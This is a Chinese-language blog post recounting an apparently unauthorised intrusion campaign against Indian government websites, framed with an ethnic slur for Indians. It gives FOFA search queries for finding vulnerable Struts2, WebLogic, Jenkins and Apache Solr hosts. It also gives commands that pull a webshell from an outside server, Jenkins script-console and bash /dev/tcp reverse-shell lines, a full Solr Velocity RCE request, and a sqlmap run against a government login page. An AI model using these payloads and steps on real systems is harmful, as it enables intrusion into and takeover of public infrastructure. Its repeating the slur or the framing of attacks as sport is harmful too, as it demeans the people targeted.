一次针对阿三的红帽渗透测试[getshell]
本次渗透测试属于一个红帽性质的一次针对阿三的渗透攻击,群里大哥一声吆喝,小弟我直接第一个出击。
一次暴露面全开的红帽渗透测试[getshell]
声明:本文章仅用作技术交流和技术分享,文中所涉及的任何内容与渗透技术被读者恶意使用所造成的后果与作者本人无关!
0x01、信息收集阶段
==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/===
一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集
1 | host="gov.in" && country="IN" |
哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想
试着写了个脚本看看:
1 | import pythonfofa |
是的,肯定不能跑,下断点,调试看看
很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫
主流框架的相关漏洞的FOFA规则语句:
Fastjson
1 | app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") |
Struts2
1 | app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") |
Log4j2
1 | (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) |
其他的也都大同小异,照葫芦画瓢就行。
目标站点收集差不多了,就是漏洞探测阶段了。
0x02、漏洞探测及利用
Struts2:
直接掏出大范围漏扫AWVS就行批量漏洞探测:
第一天数据就直接起飞,因为本次目标是getshell直接忽略中低危漏洞告警,查看高危漏洞:
很好一堆Struts2漏洞,直接上工具:
得到一个RCE(远程命令执行漏洞),远程写入shell,先利用工具生成一个Antsword(蚁剑)jsp格式的shell
将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/
直接执行
1 | curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp |
然后webshell工具Antsword连接即可:
爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________________________________。
Weblogic:
很好用的awvs,直接上工具注入内存马:
冰蝎连接webshell:
同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》
(PS:这个时候已经有些疲软了,没有去手测upload的点)
Jenkins:
中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:
1 | (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") |
一看86条资产,有戏,数量不多,直接手测:
存在未授权,访问manager --> script页面,进行命令执行测试:
1 | println "ls -al".execute().text |
存在命令执行,尝试反弹shell:
1 | println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text |
接收shell的服务器开启端口监听:
执行命令
发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:
在sh文件中写入如下内容:
1 | bash -i >& /dev/tcp/ip/port 0<&1 |
保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:
1 | println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text |
查看.sh文件是否获取成功:
1 | println "ls -al /tmp".execute().text |
获取.sh文件成功,执行文件,反弹shell:
开启监听:
执行命令,启动.sh文件:
1 | println "bash /tmp/jenkins.sh".execute().text |
成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。
Apache-Solr
闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:
1 | country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") |
数据不大,接着手测,拿到三个未授权(不需要登陆):
授权:
未授权:
拿到未授权之后,进行CVE探测:
访问/solr/admin/cores/
,获取name => music
接着拼接路径/solr/music/config/
查看用户配置信息:
都为true
,可直接利用公网披露的payload进行RCE,
1 | GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 |
测试是否出网:
修改执行命令为
1 | curl%20xtolsc.dnslog.cn |
可出网,直接反弹shell:
1 | GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom= ($x= )+ ($rt=$x.class.forName(.lang.Runtime ))+ ($chr=$x.class.forName(.lang.Character ))+ ($str=$x.class.forName(.lang.String ))+ ($ex=$rt.getRuntime().exec( ))+$ex.waitFor()+ ($out=$ex.getInputStream())+ ($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read())) HTTP/1.1 |
VPS开启端口监听:nc -lvvnp 5000
接听到弹过来的shell了,好,又拿下一台,root权限。
其他漏洞发现
反射型XSS
具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句
1 | <script>alert(1)</script> |
SQL注入
这类没有具体测试,发现注入点之后直接上SQLmap开扫:
1 | sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql |
渗透总结
本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。